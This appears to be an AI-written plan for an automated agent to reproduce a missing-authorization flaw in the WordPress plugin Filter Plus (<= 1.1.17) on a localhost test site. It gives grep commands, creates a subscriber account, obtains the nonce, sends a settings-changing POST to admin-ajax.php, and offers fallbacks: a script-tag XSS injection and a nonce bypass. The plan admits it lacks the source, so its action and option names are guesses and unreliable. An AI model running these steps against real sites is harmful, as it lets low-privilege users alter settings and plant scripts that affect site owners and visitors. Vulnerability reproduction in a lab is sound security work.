Filter Plus <= 1.1.17 - Missing Authorization

Since the source files for Filter Plus <= 1.1.17 were not provided in the prompt, this plan is based on the vulnerability description (Missing Authorization) and standard WordPress plugin architecture patterns. I will provide the specific grep commands the automated agent must use to identify the exact function and nonce names before execution.

---

1. Vulnerability Summary

The Filter Plus plugin is vulnerable to Missing Authorization in one of its administrative AJAX handlers. While the plugin registers AJAX actions for authenticated users, it fails to perform a capability check (e.g., current_user_can( 'manage_options' )) within the callback function. This allows any authenticated user—including those with Subscriber-level permissions—to trigger administrative actions, such as modifying plugin settings, altering filters, or potentially injecting malicious scripts into settings (Stored XSS).

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• HTTP Method: POST
• Action (Likely): filter_plus_save_settings, filter_plus_update_filter, or filter_plus_save_admin_options (Inferred).
• Authentication: Authenticated (Subscriber level or higher).
• Payload Parameter: action, nonce, and the settings data (e.g., settings[] or options[]).

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX action in its main class or admin class:
   add_action( 'wp_ajax_filter_plus_save_settings', array( $this, 'save_settings' ) );
2. Trigger: A Subscriber sends a POST request to admin-ajax.php with action=filter_plus_save_settings.
3. Missing Check: The callback function (e.g., save_settings) might check a nonce (protecting against CSRF) but fails to call current_user_can().
4. Sink: The function proceeds to update the database via update_option() or $wpdb->update().

4. Nonce Acquisition Strategy

If the endpoint requires a nonce (which is common even in missing authorization cases), the Subscriber must obtain it from the WordPress dashboard.

Identification Steps:

1. Find the registration:
   grep -r "wp_ajax_filter_plus" /var/www/html/wp-content/plugins/filter-plus/
2. Find the callback: Locate the function name associated with the action.
3. Find the Nonce Creation:
   grep -r "wp_create_nonce" /var/www/html/wp-content/plugins/filter-plus/
4. Find Script Localization:
   grep -r "wp_localize_script" /var/www/html/wp-content/plugins/filter-plus/

Acquisition via Browser:

1. Subscribers can access wp-admin/profile.php. If the plugin enqueues its admin scripts for all authenticated users, the nonce will be in the page source.
2. Command: wp post create --post_type=page --post_status=publish --post_content='[filter_plus_shortcode]' (If the script only loads with a shortcode).
3. Browser Eval: browser_eval("window.filter_plus_obj?.nonce") (Replace filter_plus_obj and nonce with identifiers found via grep).

5. Exploitation Strategy

This plan assumes the vulnerable action is filter_plus_save_settings.

Step 1: Discover Target Action
Search for administrative actions in the plugin:

grep -r "add_action( 'wp_ajax_" /var/www/html/wp-content/plugins/filter-plus/

Target: Look for actions that update options or settings.

Step 2: Create Subscriber User

wp user create attacker attacker@example.com --role=subscriber --user_pass=password123

Step 3: Perform HTTP Request (Exploit)
Using the http_request tool, simulate a Subscriber changing a plugin setting (e.g., changing the "No products found" text to a script or a specific string).

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Cookies: Use cookies from the Subscriber login session.
• Body:

  action=filter_plus_save_settings&nonce=[NONCE_VALUE]&settings[some_option]=VULNERABLE_VAL
  

6. Test Data Setup

1. Plugin Activation: Ensure Filter Plus is active.
2. Subscriber Account: Create a user with the subscriber role.
3. Identify Settings Key: Check the database or source code to see what option key the plugin uses (e.g., filter_plus_settings).

   wp option list | grep filter
   

7. Expected Results

• Response: The server returns a 200 OK or a JSON success message (e.g., {"success": true}).
• State Change: The plugin settings are updated despite the user being a Subscriber.
• Unauthorized Access: A Subscriber successfully performed an action that should be restricted to manage_options.

8. Verification Steps

After sending the HTTP request, use WP-CLI to verify the change:

# Check if the option was updated
wp option get filter_plus_settings

# Example verification if we changed a text field:
wp option get filter_plus_settings | grep "VULNERABLE_VAL"

9. Alternative Approaches

• Shortcode Injection: If the settings update allows arbitrary HTML, try injecting a script tag <script>alert(1)</script> to upgrade the "Missing Authorization" to "Stored XSS".
• Insecure Action Identification: If save_settings is not the vulnerable action, check for filter_plus_delete_filter or filter_plus_import.
• Bypassing Nonce: If check_ajax_referer is called with die=false (e.g., check_ajax_referer('fp_nonce', 'security', false)), the agent should try the exploit with an invalid or missing nonce.